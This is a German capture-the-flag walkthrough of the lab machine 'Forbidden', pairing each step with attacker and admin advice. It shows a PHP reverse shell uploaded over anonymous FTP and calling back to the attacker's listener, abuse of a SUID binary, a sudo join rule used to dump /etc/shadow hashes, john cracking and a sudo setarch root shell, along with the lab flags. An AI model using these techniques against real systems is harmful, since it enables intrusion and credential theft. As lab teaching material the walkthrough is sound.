Wir beginnen mit der Erkundungsphase, um das Zielsystem zu identifizieren und dessen Dienste zu scannen.
192.168.2.114 08:00:27:08:c8:61 PCS Systemtechnik GmbH
[...]
**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.114.
**Bewertung:** Ziel-IP gefunden.
**Empfehlung (Pentester):** Ziel-IP für weitere Scans verwenden. **Empfehlung (Admin):** Standard Netzwerküberwachung.
127.0.0.1 localhost
[...]
192.168.2.114 forbidden.hmv
**Analyse:** Der Hostname `forbidden.hmv` wird der IP 192.168.2.114 in der lokalen `/etc/hosts`-Datei zugeordnet.
**Bewertung:** Ermöglicht die Adressierung des Ziels über den Hostnamen.
**Empfehlung (Pentester):** Hostnamen verwenden. **Empfehlung (Admin):** DNS-Management.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-08 01:10 CEST Nmap scan report for forbidden.hmv (192.168.2.114) Host is up (0.00011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-syst: [...] | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxrwxrwx 2 0 0 4096 Oct 09 2020 www [NSE: writeable] 80/tcp open http nginx 1.14.2 |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.14.2 MAC Address: 08:00:27:08:C8:61 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 4.15 - 5.6 [...] TRACEROUTE HOP RTT ADDRESS 1 0.11 ms forbidden.hmv (192.168.2.114) [...] zsh: segmentation fault nmap -sS -sC -T5 -sV -A 192.168.2.114 -p-
**Analyse:** Der Nmap-Scan (`-sS`, `-sC`, `-T5`, `-sV`, `-A`, `-p-`) findet zwei offene Ports: * Port 21 (FTP): vsftpd 3.0.3. Anonymer Login ist erlaubt (`Anonymous FTP login allowed`). Das Nmap-Skript (`-sC`) stellt außerdem fest, dass das Verzeichnis `www` im FTP-Root existiert und **beschreibbar** ist (`[NSE: writeable]`). * Port 80 (HTTP): Nginx 1.14.2. Die Seite hat keinen Titel. Der Nmap-Prozess stürzt am Ende wieder mit einem Segmentation Fault ab, was aber die Ergebnisse nicht beeinflusst.
**Bewertung:** Der anonyme FTP-Zugriff mit einem beschreibbaren Verzeichnis (`www`) ist ein kritischer Fund. Dies ermöglicht uns wahrscheinlich, Dateien in das Web-Root hochzuladen. Der Webserver selbst scheint initial keine besonderen Inhalte zu haben.
**Empfehlung (Pentester):** Den FTP-Server nutzen: 1. Mit `wget -r` oder `lftp` den Inhalt des FTP-Servers rekursiv herunterladen, um die Struktur und eventuelle Dateien (wie die `note.txt` aus dem `www`-Verzeichnis) zu sehen. 2. Überprüfen, ob das `www`-Verzeichnis auf dem FTP-Server dem Web-Root von Nginx auf Port 80 entspricht. 3. Versuchen, eine Webshell (PHP, PHP5, PHTML etc.) in das `www`-Verzeichnis hochzuladen und über Port 80 aufzurufen. **Empfehlung (Admin):** Anonymen FTP-Zugriff deaktivieren. Wenn FTP benötigt wird, nur authentifizierten Zugriff erlauben und Schreibrechte sehr restriktiv vergeben. Sicherstellen, dass das FTP-Verzeichnis nicht mit dem Web-Root identisch oder überlappend ist.
Wir untersuchen den Inhalt des anonymen FTP-Servers und versuchen, eine PHP-Datei hochzuladen.
--2022-10-08 01:12:02-- ftp://anonymous:*password*@forbidden.hmv/
=> forbidden.hmv/.listing
[...]
Anmelden als anonymous … Angemeldet!
[...]
fertig.
forbidden.hmv/.listing [ <=> ] 180 --.-KB/s in 0s
2022-10-08 01:12:02 (61.5 MB/s) - »forbidden.hmv/.listing« gespeichert [180]
Hi, Im the best admin of the world.
You cannot execute .php code on this server so you cannot
obtain a reverse shell. Not sure if its misconfigured another things... but
the importart is that php is disabled.
-marta
The extra-secured .jpg file contains my password but nobody can obtain it.
**Analyse:** 1. Wir laden den Inhalt des FTP-Servers mit `wget -r` herunter. 2. Im heruntergeladenen `www`-Verzeichnis finden wir (vermutlich) eine `note.txt`. 3. Der Inhalt der Notiz von "marta" behauptet, dass PHP auf dem Server deaktiviert sei und man keine Reverse Shell bekommen könne. Sie erwähnt außerdem eine ".jpg"-Datei mit ihrem Passwort.
**Bewertung:** Die Notiz gibt uns wichtige Hinweise: Der Benutzer `marta` existiert. PHP (`.php`) ist möglicherweise wirklich deaktiviert, aber eventuell sind andere Endungen wie `.php5`, `.phtml` etc. noch aktiv oder der Nginx/PHP-FPM ist falsch konfiguriert. Die Erwähnung einer speziell gesicherten JPG-Datei mit einem Passwort ist verdächtig und könnte auf Steganographie oder andere Verstecktechniken hindeuten.
**Empfehlung (Pentester):** 1. Nach der erwähnten JPG-Datei suchen (auf dem FTP-Server oder im Web-Root). 2. Trotz der Behauptung versuchen, eine PHP-Shell hochzuladen, aber **andere Endungen** verwenden (z.B. `.php5`, `.phtml`, `.phar`). 3. Das beschreibbare `www`-Verzeichnis auf dem FTP-Server genauer untersuchen und die PHP-Shell dorthin hochladen. **Empfehlung (Admin):** Keine sensiblen Informationen oder Hinweise in öffentlich zugänglichen Dateien hinterlassen. PHP oder andere Skriptsprachen konsistent und sicher konfigurieren (oder deaktivieren, wenn nicht benötigt).
Wir versuchen, eine PHP-Reverse-Shell mit der Endung `.php5` hochzuladen.
Connected to forbidden.hmv. 220 (vsFTPd 3.0.3) Name (forbidden.hmv:cyber): anonymous 331 Please specify the password. Password: [Enter] 230 Login successful. [...]
[...]
drwxrwxrwx 2 0 0 4096 Oct 09 2020 www
[...]
250 Directory successfully changed.
local: image.php5 remote: image.php5
[...]
150 Ok to send data.
100% |***********************************| 5495 [...]
226 Transfer complete.
5495 bytes sent in 00:00 [...]
221 Goodbye.
**Analyse:** Wir verbinden uns anonym per FTP, wechseln in das beschreibbare `www`-Verzeichnis und laden erfolgreich unsere vorbereitete PHP-Reverse-Shell unter dem Namen `image.php5` hoch.
**Bewertung:** Der Upload war erfolgreich. Nun müssen wir prüfen, ob der Webserver diese `.php5`-Datei ausführt.
**Empfehlung (Pentester):** Einen Listener für die Reverse Shell starten. Die hochgeladene Datei über den Webbrowser oder `curl` aufrufen (`http://forbidden.hmv/image.php5`). **Empfehlung (Admin):** Sicherstellen, dass der Webserver nur explizit erlaubte PHP-Endungen (`.php`) verarbeitet und andere (wie `.php5`, `.phtml`) ignoriert oder als Text ausliefert.
Wir starten einen Listener und versuchen, die hochgeladene `image.php5`-Datei über den Webserver auszuführen.
// This script will make an outbound TCP connection to a hardcoded IP and port. $port = 9001; // CHANGE THIS $sock = fsockopen($ip, $port, $errno, $errstr, 30); printit("Successfully opened reverse shell to $ip:$port");
listening on [any] 9001 ...
# (Kein Output von curl, da Shell verbindet)
listening on [any] 9001 ... connect to [192.168.2.140] from (UNKNOWN) [192.168.2.114] 59732 Linux forbidden 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux [...] uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ # Shell als www-data erhalten!
**Analyse:** 1. Wir überprüfen den Port (9001) in unserer `image.php5`-Datei. 2. Wir starten einen Netcat-Listener auf Port 9001. 3. Wir rufen die URL `http://forbidden.hmv/image.php5` mit `curl` auf. 4. Der Aufruf ist erfolgreich! Der Webserver (Nginx + PHP-FPM) führt die `.php5`-Datei aus. Unser Listener empfängt die Reverse Shell. 5. Wir erhalten eine Shell als `www-data` und stabilisieren sie.
**Bewertung:** Initial Access erfolgreich! Die Behauptung in der `note.txt`, dass PHP deaktiviert sei, war falsch oder bezog sich nur auf die `.php`-Endung. Der Server war jedoch so konfiguriert, dass er `.php5`-Dateien ausführt.
**Empfehlung (Pentester):** Umgebung als `www-data` enumerieren. **Empfehlung (Admin):** Webserver-Konfiguration überprüfen und sicherstellen, dass nur die notwendigen Dateiendungen als ausführbare Skripte behandelt werden. Nicht benötigte Handler (wie für `.php5`) entfernen.
Als `www-data` suchen wir nach Privesc-Vektoren.
[...] -rwsr-sr-x 1 root marta 16712 Oct 9 2020 .forbidden # SUID & SGID Binary! [...] -rw-r--r-- 1 root root 130 Oct 9 2020 hidden.c # Quellcode?
# (Kein Output oder Fehler, aber der Prompt ändert sich!)
**Analyse:** 1. Wir wechseln in das Home-Verzeichnis von `marta` (der Benutzer aus der `note.txt`). 2. `ls -la` zeigt eine versteckte Datei namens `.forbidden`. Diese Datei gehört `root`, hat aber die Gruppe `marta`. Sie hat sowohl das SUID-Bit (`s` bei den Benutzerrechten) als auch das SGID-Bit (`s` bei den Gruppenrechten) gesetzt. Das bedeutet, sie läuft mit Root-Rechten und mit Gruppenrechten von `marta`. 3. Es gibt auch eine Datei `hidden.c`, die `root` gehört und wahrscheinlich der Quellcode für `.forbidden` ist (wir können sie als `www-data` aber nicht lesen). 4. Wir führen das Binary `./.forbidden` aus. 5. Anstatt einer Ausgabe ändert sich unser Shell-Prompt zu `markos@forbidden:/home/marta$`. Das SUID/SGID-Binary hat uns offenbar eine Shell als Benutzer `markos` gegeben.
**Bewertung:** Privilege Escalation von `www-data` zu `markos` erfolgreich! Das SUID/SGID-Binary `.forbidden` war der Schlüssel. Es hat wahrscheinlich intern `setuid`/`setgid` verwendet, um zu `markos` zu wechseln, oder enthielt eine andere Schwachstelle, die zur Shell führte.
**Empfehlung (Pentester):** Umgebung als `markos` enumerieren (`sudo -l`), User-Flag lesen. **Empfehlung (Admin):** SUID/SGID-Binaries extrem sorgfältig prüfen und nur verwenden, wenn absolut notwendig. Prinzip der geringsten Rechte anwenden. Verdächtige Binaries wie `.forbidden` entfernen.
Als `markos` lesen wir die User-Flag und suchen nach Wegen zu anderen Benutzern oder Root.
user.txt
HMVpussycat
[...]
-rwxrwxrwx 1 www-data www-data 33469 Oct 9 2020 TOPSECRETIMAGE.jpg
[...]
Password: TOPSECRETIMAGE # Dateiname ohne .jpg als Passwort marta@forbidden:/home/markos$ # Wechsel zu marta erfolgreich!
**Analyse:** 1. Wir lesen die User-Flag für `markos`. 2. Wir erinnern uns an die `note.txt` von `marta`, die eine speziell gesicherte JPG-Datei mit ihrem Passwort erwähnte. Wir finden im Web-Root (`/var/www/html`) die Datei `TOPSECRETIMAGE.jpg`. 3. Wir versuchen, den Dateinamen ohne die Endung (`TOPSECRETIMAGE`) als Passwort für den Benutzer `marta` zu verwenden (`su marta`). 4. Der Versuch ist erfolgreich, und wir wechseln zum Benutzer `marta`.
**Bewertung:** Lateral Movement von `markos` zu `marta` erfolgreich! Das Passwort war, wie in der Notiz angedeutet, der Dateiname des "gesicherten" Bildes. Dies ist eine Form von Security through Obscurity und kein sicheres Verfahren.
**Empfehlung (Pentester):** Umgebung als `marta` enumerieren (`sudo -l`). **Empfehlung (Admin):** Niemals Passwörter in Dateinamen oder anderen obskuren, aber potenziell auffindbaren Orten speichern. Starke, zufällige Passwörter verwenden.
Als `marta` suchen wir nach weiteren Rechten. Wir prüfen die `sudo`-Berechtigungen.
Matching Defaults entries for marta on forbidden:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User marta may run the following commands on forbidden:
(ALL) NOPASSWD: /usr/bin/join
root:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7: daemon::18544:0:99999:7::: bin::18544:0:99999:7::: [...] marta:$6$h.4ZF5esZ/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y/UBl0eks1.Wrd51BqLK8Wqt91WXg0Y2mrdNY4luPQkqUWXFXWxLVwe/:18544:0:99999:7: markos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w/x.Xvhdr7Ny/4JgLDRLRAxAwEwGtH2kD7PjzeloAstqCPq/KKrqrPioMM8vwWbqZ.:18544:0:99999:7: peter:$6$QAeWH9Et9PAJdYz/$/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:
**Analyse:** 1. `sudo -l` für `marta` zeigt, dass sie den Befehl `/usr/bin/join` als `ALL` (effektiv `root`) ohne Passwort ausführen darf. `join` wird normalerweise verwendet, um Zeilen aus zwei Dateien anhand gemeinsamer Felder zu verbinden. 2. Wir nutzen eine bekannte Technik (GTFOBins), um `join` zum Lesen von Dateien zu missbrauchen, auf die wir normalerweise keinen Zugriff haben. Der Befehl `sudo join -a 2 /etc/shadow /etc/shadow` (oder eine Variation davon) führt dazu, dass der Inhalt der `/etc/shadow`-Datei ausgegeben wird. 3. Wir extrahieren die Passwort-Hashes (SHA512crypt, `$6$`) für die Benutzer, insbesondere für `peter`.
**Bewertung:** Kritischer Fund! Die unsichere `sudo`-Regel für `join` ermöglichte das Auslesen der `/etc/shadow`-Datei. Wir haben nun die Passwort-Hashes aller lokalen Benutzer.
**Empfehlung (Pentester):** Die extrahierten Hashes (insbesondere den von `peter`) versuchen, offline mit `john` oder `hashcat` zu knacken. **Empfehlung (Admin):** Unsichere `sudo`-Regel für `join` entfernen. Dateilesebefehle oder Tools, die dazu missbraucht werden können, niemals über `sudo` erlauben.
Wir knacken den Hash für den Benutzer `peter`.
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
[...]
boomer (peter)
1g 0:00:00:00 DONE [...]
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Password: boomer peter@forbidden:/home/marta$ # Wechsel erfolgreich!
**Analyse:** 1. Wir speichern den Hash für `peter` im John-Format in einer Datei `hash`. 2. Wir verwenden `john` mit `rockyou.txt`, um den Hash zu knacken. Das Passwort wird erfolgreich als `boomer` gefunden. 3. Als `marta` verwenden wir `su peter` und geben das geknackte Passwort `boomer` ein, um zum Benutzer `peter` zu wechseln.
**Bewertung:** Lateral Movement von `marta` zu `peter` erfolgreich durch Offline-Knacken des Passwort-Hashes.
**Empfehlung (Pentester):** Umgebung als `peter` enumerieren (`sudo -l`). **Empfehlung (Admin):** Starke Passwörter verwenden, die nicht leicht zu knacken sind. Unsichere `sudo`-Regeln entfernen, die das Auslesen von Hashes ermöglichen.
Als Benutzer `peter` suchen wir den letzten Schritt zu Root.
Matching Defaults entries for peter on forbidden:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User peter may run the following commands on forbidden:
(ALL : ALL) NOPASSWD: /usr/bin/setarch
**Analyse:** `sudo -l` für `peter` zeigt, dass er den Befehl `/usr/bin/setarch` als `ALL : ALL` (effektiv `root`) ohne Passwort (`NOPASSWD`) ausführen darf. `setarch` wird verwendet, um die gemeldete Architektur zu ändern und ein Programm in dieser Umgebung auszuführen.
**Bewertung:** Dies ist ein bekannter Vektor für Privilege Escalation. Laut GTFOBins kann `setarch` direkt zum Ausführen einer Shell als Root missbraucht werden.
**Empfehlung (Pentester):** Die auf GTFOBins beschriebene Methode anwenden: `sudo setarch $(arch) /bin/bash` (oder `/bin/sh`). **Empfehlung (Admin):** Unsichere `sudo`-Regel für `setarch` entfernen.
root.txt
HMVmymymymymind
**Analyse:** 1. Wir führen `sudo setarch x86_64 /bin/bash` aus (wobei `x86_64` die Architektur ist, `$(arch)` hätte das gleiche Ergebnis geliefert). `setarch` führt `/bin/bash` mit Root-Rechten aus. 2. Wir erhalten eine Root-Shell. 3. Wir wechseln ins Root-Home-Verzeichnis und lesen die `root.txt`.
**Bewertung:** Privilege Escalation zu Root erfolgreich durch Ausnutzung der unsicheren `sudo`-Regel für `setarch`.
**Empfehlung (Pentester):** Bericht abschließen. **Empfehlung (Admin):** Unsichere `sudo`-Regel entfernen.